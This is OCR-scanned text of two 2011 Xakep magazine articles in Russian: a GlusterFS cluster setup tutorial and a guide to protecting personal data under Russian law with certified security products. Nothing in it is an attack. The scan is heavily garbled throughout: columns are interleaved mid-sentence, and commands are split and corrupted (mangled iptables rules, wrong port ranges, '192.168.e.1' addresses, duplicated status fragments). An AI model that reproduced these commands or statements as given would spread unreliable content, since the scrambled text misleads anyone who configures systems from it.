$ sudo dpkg -i glusterfs*.deb

работе ФС. Простота развертывания и настройки . Н аличие

N FS-клиента,

который п озволяет получитьдоступ к дан­

ным без использования клиента GlusteгFS.

3. Теперь нужно открыть порты, необходимые для работы файло­ вой системы. Сервер GlusteгFS слушает порты 24007, 24008, а также по одному порту в возрастающем порядке на каждый bгick

[то есть экспортируемый каталог!, причем в расчет идут не толь­ Больши н ство из п е р ечис л е нн ых функций файловой системы не

ко каталоги текущего сервера, н о и всего кластера в целом [это

являются неотъемлемой частью GlusteгFS, а подключаются к серве­

связано с тем, что все серверы кластера GlusteгFS равноправны

ру с помощью динамически за г ружаемых модулей, так называемых

и могут быть использованы для nодключения ФС с клиентской

трансляторов, идею которых авторы G l usteгFS переняли у разработ­

стороны!. Если предполагается использование NFSдля монти­

чиков GNU/ H aгd [на том же п ринципе основана подсистема GEOM в

рования файловой системы, следует открыть порт

ядре FгeeBSDI. Трансляторы позволяю т пропускать любой запрос на

как это делается с помощью iptaЫes:

111.

При мер,

доступ к файловой системе через ц е п очку специальных обработчи­ ков , каждый из которых может совершать над запросом и переда­

ваемыми в его рамках данными определенный набор действий. Не­ которые трансляторы отвечаю т за шифрование данных , другие- за кэширование, третьи легируют все за п росы. Мощь трансляторов за­ ключается в том, что их можно комбинировать в цепочки совершенно

произвольным образом как н а стороне сервера, так и на стороне клиен т а. Э т от механизм позволяе т соз д ать действитель н о гибкую систему, которую можно подстроить практически под любую задачу.

INPUT -m state --state NEW -m tcp - -dport 241307:241347 -j АССЕРТ $ iptaЫes - А INPUT -m stat e --state NEW - m tc p --dport 111 -j АССЕРТ $ iptaЫes - А INPUT -m state --state NEW -m udp --dport 111 -j АССЕРТ $ service ipt aЫes save $ service iptaЫes restart

$

ipt a Ьles -А

tcp

\

tc p

\

udp

\

Наиболее важные и п олезные трансляторы перечислены ниже:

posix - интерфейс к файло в ой системе UN IX, используемой для

Эти команды надо выполнить на каждом GlusteгFS-cepвepe.

хранения д анных [это конечный узел цепочки трансляторов!.

Каких-то особых требований к самим серверам не предъявляет­

replicate- реплицирует данные между несколькими узлами. readahead - производитупреждающее чте н ие.

ся. Достаточно, чтобы он имел процессор архитектуры х86_64,

wгitеЬеhind -объе д иняетоперации записи блоков и производит

памяти. В качестве канала связи между серверами и клиентом

как минимум

8 Г б дискового пространства и 1 Г б оперативной

их за одну о п ерацию .

рекомендуется исnользовать гигабитные или 10-гигабитные

io-threads - рас п араллели вает о п ера ц ии чтения/записи. io-cache- кэширует читаемые блоки данных. stat-prefetch - производит предварительную загрузку каталого­

еthегnеt-каналы, либо lnfiniBand [OFED 1.5 и выше! . Работос п о­ собность сервера протестирована в дистрибутивах

выхзаписей[позволяетбеззадержеквыполнятьтакиеоперации,

RHEL 5.1, Ubuntu и Fedoгa, однако можно использовать другие дистрибу­ тивы и операционные системы с nоддержкой FUSE. В каче-

как «просмотр сод ержимого каталога >> !.

стве хранилища данных используется низлежащая файловая

quota - позволяет наложить квоту на

системасервера,разработчикирекомендуютиспользоватьдля

количество записываемых

файлов большого размера такие ФС как Ext4, ЕхtЗ, либо XFS.

данных.

trash -

помещает все удаляемые файлы в «корзину >> с возможно­

стью последующего восстановления.

ХАКЕР

11/154/2011

Также подойдут, но могут работать медленнее, любые другие РОSIХ-совместимые ФС.

125


SYN/ACK

Мадвrаскар

ИНДIIЙСКИЙ oкeatt

Аfланп1ческиn

Океон

Среди пользователей

GlusterFS множество

<>

юА,Щанные карты

@2011 Geocentre

ConsuШng,

Mapllnk,

крупных компаний по всему миру

СОЗДАЕМ РАСПРЕДЕЛЕННОЕ ХРАНИЛИЩЕ

State: Peer in Cluster (Connected)

По с ле того, как GlusteгFS будет установлен на серверы, можно при­ ступить к созданию распределенного хранилища. Эта процедура состоит из двух шагов. Сначала все серверы необходимо объеди­ нить в один общий пул , то есть объяснить серверам , что отныне они являются частью одного большого хранилища и могут доверять друг

Hostname: 192.168.0.3 Uuid: 1e0ca3aa-9ef7-4f66-8f15-cbc348f29ff7 State: Pfde43e-4533-4e33-4f77-ed3984da21ae State: Peer in Cluster (Connected)

др у гу. Делается это поочередно для каждого сервера с помощью команды << glusteг рее г ргоЬе

IP». Чтобы объединить в пул два серве­

ра , до с таточно зайти на сервер [любой) справами гооt и выполнить команду в отношении любого другого сервера . Например:

$ ssh root@192.168.0.1 # gluster peer probe 192.168.0.2 Probe successful

Hostname: 192.168.0.4 Uuid: 3e0cabaa-9df7-4f66-8e5d-cbc348f29ff7 State: Pfde43e - 4533-4e33-4f77-ed3984da21ae State: Peer in Cluster (Connected) На втором этапе следует создать тома, то есть логические

разделы, которые будут содержать данные, распределенные по не­

скольким серверам. Текущая версия GlusteгFS Теперь серверы

192.168.0.1

и

192.168.0.2 образуют

пул из двух,

доверяющих друг другу серверов, имеющих абсолютно одинаковые

[3.2.1) поддерживает

3 типа томов, отличающиеся способом разделения данных между серверами:

права. В дальнейшем любой из них можно будет использовать для подключения файловой системы с клиентской стороны, а система

сама решит, на какой сервер отправлять запросы на чтение/запись файлов .

Distributed- распределяет файлы между двумя и более серве­ рами, при записи первый файл идет на первый сервер, второй- на второй и т. д . Это самый типичный вид распределенной сети, который

Следующие серверы можно добавить в пул точно таким же об­

ра з ом [причем с любого из уже входящих в пул серверов):

хорошо подходит в том случае, когда значение имеет общий размер хранилища, а проблема надежности хранимой информации решается другими методами, например, организацией

# gluster peer probe 192.168.0.3 # gluster peer probe 192.168.0.4

RAID -1 массивов

на

каждом сервере. Иначе при выходе одного из узлов из строя данные будут потеряны. Чтобы создать распределенное хранилище, до­ статочно выполнить простую команду на любом из входящих в пул

Далее на каждом сервере необходимо создать каталог, который

серверов:

будет использован для хранения данных [имя не имеет значения):

# mkdir /data С помощью команды <<glusteг рее г

status >> можно проверить со­

стояние п ула и всех его членов :

# gluster peer status Number of Peers: 3

Hostname: 192.168.0.2 Uuid: 5e987bda-16dd-43c2-835b-08Ыd55e94e5

126

# gluster volume create new_volume transport tcp 192.168.0.1:/data 192.168.0.2:/data 192.168.0.3:/data 192.168.0.4:/data Volume Name: new_volume Туре: Distribute Status: Created Number of Bricks: 4 Transport-type: tcp Bricks: Brick1: 192.168.0.1:/data Brick2: 192.168.0.2:/data

ХАКЕР

11/154/2011


Форт Нокс для твоей компании

между серверами, и распределение блоков данных. В при мере, при­ веденном выше, это будет выглядеть так: запись первого файла будет

1ОWП ADМIIIIODE 1

Eifiiil.li::-ili"*

*·fi·' IM MHIЦ!.i+IF

поблочно распределяться между первыми двумя серверами, второго -между двумя вторыми и т.д. При чтении нескольких файлов считы­

[м--" Dom вinj

L"'.,_" OomoinJ

вание данных почти одновременно пойдет сразу с четырех серверов.

ОО О

Таким же образом можно скомбинировать Distгibuted и тoмa и получить почти сетевой аналог

+Щ -.:Щ-.1+

Repiicated-

RA!D10:

-:::

·;:

# gluster volume create new_volume replica 2 transport tcp 192.168.0.1:/data 192.168.0.2:/data 192.168.0.3:/data 192.168.0.4:/data

о

Так каждый файл будет продублирован на двух серверах !пер­

с о

i

вый- на первых двух, второй- на вторых] и мы получим хорошее

5

1:

руя различные типы томов !на самом деле это типы трансляторов]

!!'"

и других трансляторов с помощью G!usteгFS можно получить самые

соотношение надежности и размера хранилища. Вообще, комбини­

неожиданные комбинации, включая сетевой аналог любого из

о

и;

типов

RAID.

Теперь, когда том создан , следует ограничить круг машин, кото­

рые могут получить к нему доступ !другими словами, смонтировать

том]. Для этого следует изменить один из атрибутов тома:

# gluster volume set new_volume auth.allow 192.168.0.* Так выглядит кластер GiusteгFS на бумаге

Далее том нужно « запустить >>, то есть сообщить системе, что она может приступить к инициализации тома , и подготовить его к под­

Brick3: 192.168.0.3:/data Brick4: 192.168.0.4:/data

ключению со стороны клиента:

# gluster volume start new_volume Starting volume new_volume has been successful

Так мы создадим том, распределенный по четырем серверам,

общий объем которого будет составлять сумму размеров каталогов

1

data всех серверов.

НАСТРАИВАЕМ КЛИЕНТ G!usteгFS позволяет получить доступ к тому тремя различными мето­

Replicated- зеркалирует данные между двумя и более сервера­ RAID1 . Хорошо подходит в тех ситуациях, когда первосте­

дами: с помощью стандартного giusteгfs-клиeнтa, который устанав­

ми, аналог

ливается вместе с пакетом G!usteгFS, NFS-клиента, поддерживаю­

пенное значение имеет надежность и выская доступность хранимой

щего третью версию протокола, и CIFS, то есть сетевое окружение Windows . Стандартный клиент использовать проще всего, к тому же

информации. Создается с помощью следующей команды:

он дает наиболее высокую производительность:

# gluster volume create new_volume replica 2 transport tcp 192.168.0.1:/data 192.168.0.2:/data Так мы nолучим том, данные которого nродублированы на двух

# mkdir /mnt/new_volume # mount -t glusterfs 192.168.0.1:/new_volume \ / mnt /new_volume

серверах !использовать четыре сервера для этой задачи явно из­ быточно], его объем будет равен наименьшему объему каталога /data.

Так мы примонтируем том пew_volume к каталогу /mnt/пew_

voiume . В кач е стве адреса сервера можно указать адрес любого Striped- записывает данные небольшими блоками поочередно RAID1. В отличие от Distгibuted, такой

на два и более сервера, аналог

том оперирует блоками данных, а не целыми файлами, поэтому ока­ зывается особенно эффективным в тех ситуациях, когда требуется

обеспечить высокую скорость чтения/записи для множества процес­ сов. Для его создания используется следующая команда:

# gluster volume create new_volume stripe 2 transport tcp 192.168.0.1:/data 192.168.0.2:/data Для еще большего распараллеливания записи и чтения можно использовать комбинацию Distгibuted и Stгiреd-томов. В этом случае

коэффициент распараллеливания !цифра 2 после stгipe в примере выше] должен быть в два раза меньше, чем количество серверов

> glusteг Numbeг

of

реег

status 3

Реегs:

Hostname: 192.168.0.2 Uuid: 5e987bda-16dd-43c2-835b-08b7d55e94e5 State: Реег in Clusteг (Connected) Hostname: 192.168.0.3 Uuid: 1e0ca3aa-9ef7-4f66-8f15-cbc348f29ff7 State: Pfde43e-4533-4e33-4f77-ed3984da21ae State: Реег in Clusteг (Connected)

хранения:

# gluster volume create new_volume stripe 2 transport tcp 192.168.0.1:/data 192.168.0.2:/data 192.168.0.3:/data 192.168.0.4:/data Так одновременно будет происходить и распределение файлов

ХАКЕР

11/154/2011

Hostname: 192.168.0.4 Uuid: 3e0cabaa-9df7-4f66-8e5d-cbc348f29ff7 State: Pfde43e-4533-4e33-4f77-ed3984da21ae State: Реег in Clusteг (Connected) Проверяем статус пула

127


SYN/ACK из входящих в пул серверов, он будет использован только для по­

лучения файла-описания тома [volfile), который был продублирован между всеми серверами во время запуска тома. Руководствуясь описанием тома, клиент сам решит, к какому серверу подключать­

ся, чтобы записать или прочитать данные [логика работы GlusteгFS такова, что основную работу выполняют именно клиенты, тогда как

серверы отвечают только за запись и отдачу данных). Чтобы том ментировалея во время старта операционной системы,

следует добавить в /etc/fstab следующую запись:

192.168.e.1:/new_volume glusterfs defaults,_netdev

е е

Для подключения тома в операционных системах, не имеющих

поддержки FUSE [например, Solaгis или OpenBSD), можно использо­ вать NFS-клиент [важно исnользовать именно nротокол ТСР):

# mount -о mountproto=tcp -t nfs 192.168.e.1:/new_volume /mnt/new_volume

> gluster volume create ne~_volume transport tcp +192.168.0.1:/data 192.168.0.2 :/data +192 . 168 . 0.3:/data 192.168.0.4 :/data Volume Name: ne~ volume Туре : Oistribute Status: Created Number of Bricks: 4 Transport- type: tcp Br icks: Brick1: 192.168.0.1:/data Brick2: 192.168 . 0.2:/data Bric k З: 192.168 . 0.3:/data Brick4: 192.168.0.4 :/data Созд а ем н о вый том

3.

Выnолнить ребалансировкутома:

Для монтирования во время загрузки добавляем следующую

строку в /etc/fstab:

# gluster volume rebalance new_volume start 5tarting rebalance on volume new_volume has been successful

192.168.e.1:/new_volume /mnt/new_volume nfs defaults, _netdev,mountproto=tcp е е

Если же необходимо выполнить замену одного сервера другим

[апгрейд сервера), последовательность команд будет следующей: Для того чтобы nодключить GlusteгFS-тoм из операционной системы семейства

Windows,

необходимо nроизвести настройку

1.

Добавляем сервер в nул и новый брик в том:

Samba-cepвepa, который будет монтировать том стандартными средствами и расшаривать его

необходимо установить пакет

no протоколу CIFS. Чтобы сделать это, samba на один из GlusteгFS-cepвepoв

# gluster peer probe 192.168.е.5 # gluster volume add-brick new_volume 192 . 168 . e . 5:/data

[или на выделенный сервер), смонтировать том с помощью стан­ дартного glusteгfs-клиeнтa, добавить в файл /etc/samba/smb.conf следующие строки:

2. Заменяем один брикдругим [заменить сервер 192.168.0.3 на 192.168.0.5):

[gluster]

# gluster volume replace-brick new_volume \ 192.168.e.3:/data 192.168.e . 5:/data start Replace brick start operat i on successful

comment = Gluster volume path = /mnt/new_volume read only = по guest ok = yes И nерезаnустить

3.

samba:

# gluster volume replace-brick new_volume \ 192.168.e.3:/data 192.168.e.5:/data start replace-brick commit successful

# /etc/init.d/sa mba restart Теnерь том должен быть виден в сетевом окружении

Подтверждаем замену:

Windows-

4.

Удаляем старый брик из тома:

мaшин .

~ Само собой разумеется, что со временем GlusteгFS-клacтep может расширяться и видоизменяться: сервера выходят из строя, им на

замену приходят новые, текущих серверов становится недостаточ­

# gluster volume remove-brick test-volume \ 192.168.e . 3:/data Removing brick(s) сап result in data loss . Do you want to Continue? (y/n) Enter "у" to confirm the operation. The command displays the following:

но для хранения всей информации и т. д. Как быть в зтих ситуациях? Все очень просто: есть несколько команд, которые nозволят

Remove Brick successful

быстро сделать всю необходимую работу. Например, если появилась

необходимость в расширении кластера новыми серверами, необхо­

5. Удаляем сервер из пула:

димо сделать следующее:

1.

Добавить серверы в nул с nомощью уже знакомой нам команды

«gl usteг рее г ргоЬе >> : # gluster peer probe Probe successful

# gluster peer detach

192.168.е.3

l:l§l:lei!UiJ 192.168.е.5

Кластерные технологии, еще

5 лет

назад казавшиеся уделом акаде­

миков в белых халатах, сегодня nревратились в повседневный

инструмент, достаточно nростой в использовании и не требующий

2. Подключить к нужномутому новый брик [каталог сервера):

каких-то глубоких знаний. Как ты смог убедиться, сегодня настройка распределенного храни­

# gluster volume add-brick new_volume 192.168.e.5:/data Add Brick successful

128

лища данных- такая же nростая nроцедура как поднятие веб- или

фтп-сервера. :Х:

ХАКЕ Р

11/154/2011


Никита Дыминекий

aka

1Зоz

Данная статья не претендует на полное руководство по защите переанальны х данны х. Подразумевается , что читатель уже ознакомился с самим текстом статьи

152 ФЗ, трехсторонним приказом ФСТЭК/ФСБ/

Роскомсвязьнадзора, 58-м приказом ФСТЭК и прочими р е гламентирующими документами.

На страже переанальных ДаJ-Р

ЗАКОННО ЗАЩИЩАЕМ ПЕРСОНАЛЬНЫЕ ДАННЫЕ, НЕ ПОКУПАЯ КОТА В МЕШКЕ В прошлый раз мы говорили о том, чем занима­

ются безопасники, как с ними взаимодейство­ вать и зачем это вообще надо делать. Сегодня мы спустимся с небес на землю и поговорим о

том, что беспокоит очень многих сисадминов и безопасни ков,- о том, как защитить наши пер­ еанальные данные . Точнее, наши информацион­

ные системы переанальных данных [ИСПДн].

ассуждать о том, что значат те или иные параграфы при­ казов, законов, нормативных актов и положений, можно

очень долго. Такими рассуждениями полны многочисленные ресурсы- от Хабрахабра до спе циали зирова нного сай та

ISPDN.RU,

так что найти всю необходимую информацию тебе не составит труда. В зтой статье мы поговорим о том, что теперь делать со всей этой информацией. В общем случае, процесс создания системы защиты переаналь­ ных данных состоит из следующих этапов:

1. 2. 3. 4. 5.

Определение информационных сис т ем п ереаналь ны х данны х; Классификация; Определениеактуальныхугрозбезопасностиперсональныхданны~ Выбор средств защиты; Развертываниете х нических средств и разработка сопутствующей документации;

6. Аттестация (пожеланию!. Прежде чем пройтись по этим пункта м, внесем ясность в тер­ минологию. Что такое <<инфо рмационная система переанальных

данных »? По сути это компьютер (или несколько компьютеров!, на которых обрабатывается (в том числе и просто хранится! какая-то

ХАКЕР

11/154/2011

129


SYN/ACK

··---·-·--· -..,................. ·-__-__ --............... ~----····· ,

.. ,

ЗАЩИТА ДАННЫХ ДЛЯ ИНТЕРНЕТЧИКОВ Владельцам интернет-ресурсов, которые решили озаботиться соблюдением законов, я бы nорекомендовал обратить внимание на сайт www . gosus l ugi.гu . При регистрации там вылезает замечательное nользовательское соглашение, по образу и nодобию которого стоит

сделать свое- это избавит от солидной части головной боли. В идеале, все nередаваемые тебе nереанальные данные nользователей

должны nризнаваться общедостуnными или обезличенными.

58-й приказ ФСТЭК обязателен к прочтению

фицируют сотрудники московской nолиции, когда сnрашивают nро­

:1.

информация о человеке. Когда несколько комnьютеров [неважно,

nиску

nодключены они к сети или нет!, стоит объединять в одну ИСПДн?

сведениям, ну а отдельное ФИО- уже к общедостуnным или обезли­

Вся nрочая информация уже относится к доnолнительным

По функциональному nризнаку. То есть, как минимум нужно от­

ченным. Помимо класса ИСПДн необходимо оnределить, являются

делить бухгалтерию от кадров [хотя, если машин и там, и там

ли они тиnовыми, или же сnециальными. В чем отличие? К тиnовым

мало, то можно их объединить,- скорее всего, аттестация выйдет

nредъявляются только требования по сохранению конфиденци­

дешевле!. И не стоит бесnокоиться насчет nриказов и договоров,

альности информации . Если нам нужна еще и целостность и/или

в которых фигурируют ФИО сотрудников и учредителей- на моей

достуnность- наша ИСПДн становится сnециальной. Я знаю, что эти

nамяти еще не было случая, чтобы на зто обращали внимание. В

три свойства являются основой информационной безоnасности как

любом случае, эти данные можно назвать общедостуnными nри

таковой, и выбрать более важное, по сути, нельзя. Позтому оставим

дальнейшей классификации.

юридическую сторону оnределения данного воnроса в стороне и

nосмотрим на факты. Факты же в следующем. Для тиnовых ИСПДн

РАЗДЕЛЕНИЕ НЕСКОЛЬКИХ ИСПДН

нельзя составлять частную модель угроз - угрозы безоnасности

Первоначально оно nроисходит на бумаге. На каждую выделенную

информации в тиnовых ИСПДн оnределены в << П оложе н ии о мето­

ИСПДн составляются отдельные акты обследования и классифи­

дах и сnособах защиты информации в информационных системах

кации, в которых указываются ее оnределяющие характеристики

nереанальных данных>>- том самом nриложении к 58-му nриказу

[категория и объем обрабатываемых nереанальных данных, оnреде­

ФСТЭК. Рекомендую с ним ознакомиться. На nрактике большую часть

ляемый на их основании класс ИСПДнl, а также состав техниче-

тиnовых ИСПДн, которые я видел, работая интегратором, составляли

ских средств. Стоит nомнить о том, что, nомимо неnосредственно

небольшие [до 10 машин! ИСПДн, расnоложенные локально, чаще

комnьютеров, обрабатывающих nереанальные данные, стоит указать

всего- различные бухгалтерии и кадры.

и сетевое оборудование, входящее в состав ИСПДн. Составление nеречня сетевого оборудования- достаточно творческий nроцесс.

Однозначно его оnределить nолучится только если ИСПДн выделена в отдельный физический сегмент Сети . Скорее всего, интересующие нас комnьютеры nодключены к коммутаторам уровня достуnа, к кото­

рым nодключены и все остальные рабочие станции. В этом случае их

указывать не стоит, однако в акте обследования надо будет отметить тот факт, что ИСПДн входит в состав общей сетич.

Сnерва разберем классификацию . Существует два классифицирую­ щих nризнака-категория обрабатываемых nереанальных данных

Хnд и объем Хнnд. С объемом все nросто: до тысячи субъектов nер­ еанальных данных Хнnд равен 3, от тысячи до ста тысяч Хнnд равен2, свыше ста тысяч Хнnд равен 1. Нумерация нисходящая- меньшая цифра указывает на больший объем , С Х nд сложнее . Существует че­ тыре категории nереанальных данных. Общедостуnные или обезли­

ченные nереанальные данные Хnд равны 4, nереанальные данные, nозволяющие однозначно идентифицировать субъекта nереаналь­

ных данных Хnд равныЗ, однозначно идентифицировать и nолучить доnолнительную информацию Хnд равны 2, и nолучить особую ин­

формацию [nеречень особых сведений можно найти на www.wikisec. гu и в трехстороннем nриказеl Хnд равны 1. Если с nервой категорией все более-менее ясно, то дальше- хуже. Перечень nереанальных данных, который необходим для однозначной идентификации субъекта nереанальных данных, не оnределен . Не оnределено то,

что считать общедостуnными nереанальными данными. В качестве отnравной точки могу nорекомендовать исnользовать nасnортные данные человека- фактически, именно так нас однозначно иденти-

130

Девушка рекомендует Stoпegate

Firewall

ХАКЕР

11/154/2011


Н а страже п е р еана льн ых д ан н ых

Управлени е се ссиями

ПОМНИ О СЕРТИФИКАТАХ На сайте ФСТЭК можно н айти перечень сертифицированных средств защиты информации, но он далеко не всегда актуален. Если интересует что-то конкретное - то лучше запросить у дилера сертификат. И обязательно смотри срок его действия! Если срок действия сертификата кончается, а у вендара уже есть новая версия- то сертификат на старую могут и не продлить. информация о сессии

То есть, самые типовые случаи, когда разработка дополнитель­ Це нт р а лизованное у nравn е ние г у лnо й м е жс етевы х эк ранов , у становленны х

уста н овленны х в различны х се гнета х корпорати вно й сети ! в к люч а я ЛВС- ВЛВС )

ного па кета документов (а это как минимум <<Частая модель угроз безопасности переанальных данных>> и <<Частное техническое зада­

ние на разработку системы защите переаналь н ых д ан н ых>> ! оказыва­ лась п росто материально невыгодна - экономия от использования меньшего количества средств защиты не покрывала расходов на

разработку документов. Если же у тебя сложная распределенная ИСПДн или просто есть желание уйти от каких-то пункта в, указанных в << Положении о мето­ дах .. .>> -то надо признавать свою ИС ПД н специальной.

Кроме того, в п оследней редакции 152-ФЗ указано, что о п ератор

Выделенная сеть или

сам определяет перечень необходимых мер и способов по защите

защищенные каналы управnения

информации в ИСПДн. Многие коммерческие конторы этому очень обрадовались, так как это вроде бы позволяет уйти от необходимости Мониторинг с осто я ния и пол н оф у н к цион а льно е упр а вл е н ие

П л а тфор ма

Windows и Unix

Си стем а ц ен тр а л изова нн ого

использования сертифицированных средств защиты информации,

упра в л е н и я сете во й

одно упоминание о которых способно вызвать у системных админи­

безопа сн ость ю

ISPmonJ

страторов приступы зубной боли и нервную трясучку. К сожалению,

в другом месте это г о же закона указано, что требования по безопас­ В а р иа н ты и споль з ования СС ПТ-21с про - гtс .г u )

ности переанальных данных определяют соответствующие органы

исполнительной власти (и приведен перечень этих органов!. Вот и понимай этот пункт как хочешь. Так что я бы пока не стал надеяться на лучшее- использовать сертифицированные средства защиты

ПАКЕТ ДОКУМЕНТОВ

все-таки придется.

ЧТО НАМ ИСПОЛЬЗОВАТЬ? В первую очередь, нужно понять , от чего мы будем защищаться.

1. 2. 3. 4. 5. 6. 7. 8.

9.

Положение об обработке переанальных данных;

Случай типовой ИСПДн рассматривать нестоит-там все ясно.

Аналитический отчет по результатам обследования

А для специальной составляется << Частная модель угроз>>. Она

информационных систем п ереанальных данных;

составляется в соотве т ствии с <<Методикой опре д еления актуаль­

Модель у г роз безопасности переанальных данных;

ности угроз безо п асности переанальных данных в информационных

Частная модель угроз безопасности переанальных данных;

системах переанальных данных>>. Методика написана более-менее

Приказ о назначении администратора безопасности;

понятным языком , а материалов о том, как ее писать, предостаточ­

Приказ о назначении комиссии по защите информации;

но. Ограничусь некоторыми советами:

Инструкция администратора безопасности;

1.

Инструк ц ия пользователям информационных систем

Прочитай << Положение .. .>> и возьми его за основу для выдумы­ вания возможных угроз- иначе рискуешь с одной стороны

переана ль ных д а нн ых;

н а п исать сли ш ком м н о г о чисто ком п ью т ерных угроз, и забыть п ро

Акт обследования информационной системы переанальных

организацион н ые моменты;

2.

данных;

10. Акт

классификации информационной системы переанальных

щититься. Для них есть одна замечательная формулировка: << Данный

данных;

11. Акт

классификации автоматизированной системы;

12 . Технический

Не бойся описывать те угрозы, от которых ты не сможешь за­

паспорт инфо р мационной системы переанальных

атаки подобного рода с возможным уроном субъектам п ереаналь­ ных данных>>. Н о пользуйся ей с умом, не считая панацеей от всех

данных;

13. Список лиц, допущенных к обработке информации в ИСПДн;

14. Список лиц, допущенных

вид угроз безопасности переанальных данных считается

неактуальным в связиснесоразмерностью затрат на проведение

к техническому обслуживанию

бед. И ужетем более-не бойся ее видоизменять;

3.

Подумай над тем , что бы ты действительно хотел реализовать в

технических средств, входящий в состав информационной

своей сети- не для защиты переанальных данных, а для « личной

системы переанальных данных;

гигиены >> . Некоторые вещи мож н о реализовать и с использова­

15. П еречень обрабатываемых переанальных д анных; 16. Техноло г ический п роцесс обработки п ереанал ь ных д анных; 17. Матрица доступа к ресурсам информационной системы переанальных данных;

18. Акт

ввода информационной системы переанальных данных в

эксплуатацию.

ХАКЕР

11/154/2011

нием сертифицированных средств защиты информации. Как это сдела т ь, я расскажу даль ш е.

Итак, после того , как мы определились с перечнем актуальных

угроз, стоит заняться выбором технических средств. Для начала стоит уяснить, что нам нужны средства, которые имеют сертификат

131


SYN/ACK по защите от НСД lнесанкционированного доступа], сертификат по межсетевым экранам IМСЭ], и сертификат по шифрованию для орга­ низации

VPN . Кроме

наличия сертификата надо обратить внимание

Модельный ряд АПКШ ••континент~~

на то, допускается ли использование выбранного средства в ИСПДн

вашего класса- эту информацию можно найти в сертификате, Нонтинент

формулировка в виде «допускается к использованию в ИСПДн до

класса К1 включительно>> . Некоторые средства lв основном- ино­

Mini-IТX

странные] не допускаются к использованию в ИСПДн класса К1. Причины такого решения наших сертифицирующих органов лежат, скорее, в политической, а не чисто технической области.

2 ~ Ethernet

mtnt

Континент

1 S M6иr/c

l20 Mбt~1/C

800 Мбмт/с

8S Mб01r/t

400Мбит/с

1Гб и #с

6х Et hefnet 10/100/1000

10/ 100/ I QOO {3 оnционаnьно)

IPClOOO

Ethernet 10/100/1000

l xSfPonr мцecМ>~A

д•

".

Итак, давай сделаем краткий обзор наиболее часто используемых

сертифицированных технических средств защиты информации. Их ДоS

можно разделить на три категории:

Континент 2Ur.~tk

ОБЗОР СРЕДСТВ

1.

IPClOO ,

lU

(iК'I И ВНQ-ПiКСИIИЫА

{а111 " вно-~виыА

IIJ\acтepj

IUI.Jtrep)

2SO

500

ДоSОО

До

1000

Локальные СЗИ НСД !средства защиты информации от несанкцио­ нированного доступа]

2. Межсетевыеэкраны 3. Средства шифрования [в эту категорию входят и VРN-решения]. Почему условно? У некоторых решений есть несколько сертифи­

Модельный ряд Континента (из официальной презентации)

к атов- например, по <<НСД и МСЭ>> [межсетевое экранирование], <<МСЭ и шифрование>> и так далее.

6 Н3С1011Щ!! IPEI~I A 1 COCfЭI vtf>Net CUST0h1 UОДIП !\оМе 15-тм РЭ3П11ЧНЫХ КОМПОН8КТОI, ПОЗ80ПЯJ:\Щ11Х P83ЛH30I'illb МНОЖI!СТIО щенарие1 ЗЗЩIIТW ttнформац~ш 1 со1ременных uуnьтмсеренсиых сетях tiЯ311.

Разберем локальные средства защиты информации от несанк­ ViPNet Мtnlnistrator ционированного доступа. VIPNetAdmlnistrэtor !Ацl.tнннстратор)- это Оаэоеыii nроrраLt мный кotJnneкcдnя насrроitкн и ущ1аеnенмя

Наиболее распространенными являются:

1. Dallas Loc k; 2. СтражNТ; 3. Secгet Net; 4. Сертифицированная

33Щ11ЩtННОИСеТЬ10.110'1ЮЧаDЩШ'ilсtбЯ.

• VIPNet NCC (Центр YnpaвneHIIЯ Сеть10, ЦУС)- nроrрзмr.сное о(lес:nечение. nредназначенное дм KOHфllryPIIPOiaHIIA 11 )"'ЛраапеНИЯ IIIPJY3llbHOi!ЗaЩitЩIHHOЙ UП.IO VIPNet • V!PNet КС & СА (УдостоверАIОЩiнi и Кnl!)lletOii Цetnp. УКЦ) - nроrрам~о~ное oGec:neчeн~re. коtорое eыnonнRe-r фyt~IЩHtl цetnpa формированкя кn10чей wrtфpotЗНIIR н nереанальных ключе~i nonьзotaн'!nei1-кn10чetoro центра. а

taJOI(e

фfНКЦIIИ YдocrotepЯIOщero Ц!нтра.

VIPNetstate\Vatt11er

версия

Windows 7.

VIPNet StateWateher (Ценrр IAOHIПOPIIHta, Цld) - nporparAJ.tHblli

коммекс, который реаnи.Э.О13Н по кnиент­

серверtЮi\ техноnоnш и nредназначен .цпя центраniUоеанноrо мониrор11нrа соаояН tiЯ узловзащищенноi1 cвrn

VIPNel VIPNet state\Yatctrer nредстэвnяеt соОой nроrраммный сер"р со стандарtноli SОL-базой данных СОСТОЯНМJI YЗIIOI cent. yc:ra.нaenrlta&~lblil соемесrно с ПOVIPHet CUent с 1031.10ЖНОСТЬIО Доа)nа К

Первые два средства защиты отличаются тем, что вообще не имеют аппаратной части, это чисто софтверные решения .

Dallas Lock

ЭПIIА даннымtt резуnьrатаu рабоtы nраем анаn1133 состояния yзnot через mаленныi'l WеО.ДОСТ)"'Л с 11сnользоеанttембрауз:ера.

в моей

VIPNet Puьticatlon Service

nрактике в последнее время фактически не применялся, из-за не само­

Пporpaur.ca

го удобного интерфейса конфигурированияинеспособности интегриро­

серпtфикатоl)ll mиacot отозванных свршф111(3t01 (СОС) на точках расnроаранен11Я данных. Также

ваться в

AD . Однако в рабочей группе он разворачивается очень удачно. NT>>настраивается проще, однако его неспособность интегрироваться в AD опять же ограничивает его распространение. Secгet Net [точнее , его сетевой вариант] этого недостатка лишен.

OбetneЧIIIatTCЯ lti.IЛOpt СОС, cфOI)t.II)OIЗHHЫX CТOI)OНHIII•IИ УЦ.

<<Страж

VIPNe!ReglslralionPolnt Проrрамuный комnлекс VIPNet ЭЗЩIIЩIННОfО

YiPNet Coor~nator (Unu.x)

поддержки, котораяпозволяетконтролировать процессзагрузки

управления съемными накоnителями информации- фактически , он

Reg!stratlon Potnt (Пtнкт Реmстрацюt}nреднэзначендnя соэданкя N'N pernctpaЦ\111 ЛOЛio30iaTtЛ&il , JII)ЗHIHIIЯ 1)8fИСТI)аЦI\ОННЫХДаННЩ СОЗДЗНifА ЭЭПI)ОС.ОI 113 IIIU Oб01Y*\I&aHIIII 8 УКЦ. а ТЭJОКе 3ЭЛРОСОI НЗ фopr.ti11)083НIIII КЛIОЧI!IЫХ VIPNet в УКЦ

&blЛJ'CIC CII)Т1tфHЦIT08

дистрнбуntео• nоnьэоватеnей сети

Кроме того, он имеет возможность подключения платы аппаратной

со съемных носителей, и у него очень хорошо работает механизм

VIPtlet PuЫicalion SeMce (CepttlcП~rtкaциll) nредназначена А/IЯ arтoмaт11:UЩIIII nроцеСС~:~ в

